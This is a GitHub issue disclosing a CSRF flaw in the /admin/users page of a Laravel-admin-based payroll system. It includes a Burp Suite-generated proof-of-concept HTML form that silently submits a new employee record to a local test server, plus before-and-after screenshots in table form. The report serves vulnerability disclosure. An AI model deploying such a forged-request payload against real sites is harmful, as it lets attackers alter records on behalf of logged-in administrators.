

New issue

[Jump to bottom](#)

CSRF in /admin/users #1

Open jinnywc opened this issue on Nov 25, 2019 · 1 comment

jinnywc commented on Nov 25, 2019

Version 1.5.x-dev

CSRF vulnerability in employee management

Before CSRF

ID	员工姓名	员工编号	部门	岗位	性别	员工状态	其他信息	入职时间	操作
10	JPoadOJmPV	Qb0032	客服部	客服部岗位1	男	实习	点击查看	2019-11-25 16:57:42	发送邮件 查看
9	rQRrGySf9T	yvBybe	客服部	客服部岗位2	女	实习	点击查看	2019-11-25 16:57:42	发送邮件 查看
8	ldKwEF12X	qgDWvX	客服部	客服部岗位4	女	全职	点击查看	2019-11-25 16:57:42	发送邮件 查看
7	ASPMsAk73G	kbOV3e	销售部	销售部岗位5	男	实习	点击查看	2019-11-25 16:57:42	发送邮件 查看
6	9j0OvR7okl	AbXzgY	技术部	技术部岗位3	女	实习	点击查看	2019-11-25 16:57:42	发送邮件 查看
5	hCHCDyGjnF	7b1L36	客服部	客服部岗位3	女	全职	点击查看	2019-11-25 16:57:42	发送邮件 查看
4	dQnxSIi53S	O3MlgD	销售部	销售部岗位2	男	全职	点击查看	2019-11-25 16:57:42	发送邮件 查看
3	pwGPLMnnbk	o3ZegY	营销部	营销部岗位1	女	兼职	点击查看	2019-11-25 16:57:42	发送邮件 查看
2	g7xXsrIGlj	6g26gO	人事部	人事部岗位4	男	兼职	点击查看	2019-11-25 16:57:42	发送邮件 查看
1	WUo1tVcx0	ygoab4	技术部	技术部岗位2	女	兼职	点击查看	2019-11-25 16:57:42	发送邮件 查看

Click 'Add' and edit employee information

创建

员工编号

员工姓名

部门

岗位

性别

员工状态

手机号

电子邮箱

身份证号码

银行卡号

基本薪资

提交

Grab the packet and construct the payload of CSRF, and save it as csrf.html

```
csrf.html - 记事本
文件(F) 编辑(E) 格式(O) 查看(V) 帮助(H)

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState("", "", "/")</script>
<form action="http://127.0.0.1:8000/admin/users" method="POST" enctype="multipart/form-data">
  <input type="hidden" name="name" value="test" />
  <input type="hidden" name="pid" value="" />
  <input type="hidden" name="pid" value="1" />
  <input type="hidden" name="d&#95;id" value="" />
  <input type="hidden" name="d&#95;id" value="2" />
  <input type="hidden" name="sex" value="" />
  <input type="hidden" name="sex" value="1" />
  <input type="hidden" name="type" value="" />
  <input type="hidden" name="type" value="1" />
  <input type="hidden" name="mobile" value="1111111111" />
  <input type="hidden" name="email" value="test&#64;test&#46;com" />
  <input type="hidden" name="id&#95;number" value="511323199603354215" />
  <input type="hidden" name="back&#95;card&#95;number" value="1111111111111111" />
  <input type="hidden" name="basic&#95;wage" value="111&#46;00" />
  <input type="hidden" name="token" value="P1ZOxk7cwAzEbtXDrCO19VfmDq54Rx6a76QMOwuY" />
  <input type="submit" value="Submit request" />
</form>
</body>
</html>
```

Visit csrf.html and click 'submit request'



Employee added successfully

工资管理系统

127.0.0.1:8000/admin/users

User Administrator

员工管理

ID	员工姓名	员工编号	部门	岗位	性别	员工状态	其他信息	入职时间	操作
15	test	J3VZ3N	人事部	人事部岗位1	男	全职	点击查看	2019-11-25 17:20:42	发送邮件 删除
10	JPOadQJmPV	Qb0032	客服部	客服部岗位1	男	实习	点击查看	2019-11-25 16:57:42	发送邮件 删除
9	rQRvGyS9T	yyBybe	客服部	客服部岗位2	女	实习	点击查看	2019-11-25 16:57:42	发送邮件 删除
8	IdIKwEF12X	qgDWVX	客服部	客服部岗位4	女	全职	点击查看	2019-11-25 16:57:42	发送邮件 删除
7	ASPMsaK73G	kbOV3e	销售部	销售部岗位5	男	实习	点击查看	2019-11-25 16:57:42	发送邮件 删除
6	9gOvR7okI	AbXzgY	技术部	技术部岗位3	女	实习	点击查看	2019-11-25 16:57:42	发送邮件 删除
5	hCHCDyGjP	7b1L36	客服部	客服部岗位3	女	全职	点击查看	2019-11-25 16:57:42	发送邮件 删除
4	dQxSIIS3S	O3MlgD	销售部	销售部岗位2	男	全职	点击查看	2019-11-25 16:57:42	发送邮件 删除
3	pwGPLMnnbk	o3ZegY	营销部	营销部岗位1	女	兼职	点击查看	2019-11-25 16:57:42	发送邮件 删除
2	g7X0SrkGj	6g26gO	人事部	人事部岗位4	男	兼职	点击查看	2019-11-25 16:57:42	发送邮件 删除
1	WUo1IVc0w0	ygoab4	技术部	技术部岗位2	女	兼职	点击查看	2019-11-25 16:57:42	发送邮件 删除

从 1 到 11, 总共 11 条

1.5.x可能是框架的弊端，本项目学习入门专用，可选择使用[laravel-admin](#)最新版本学习

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants

